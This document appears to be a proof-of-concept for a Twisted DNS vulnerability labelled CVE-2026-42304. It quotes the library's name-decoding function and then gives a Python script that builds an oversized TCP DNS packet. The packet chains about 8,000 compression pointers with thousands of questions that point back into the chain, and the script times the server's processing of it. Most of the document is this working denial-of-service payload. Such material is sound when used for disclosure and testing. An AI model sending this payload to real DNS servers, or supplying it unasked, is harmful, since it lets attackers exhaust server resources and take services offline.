Twisted CVE-2026-42304

##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()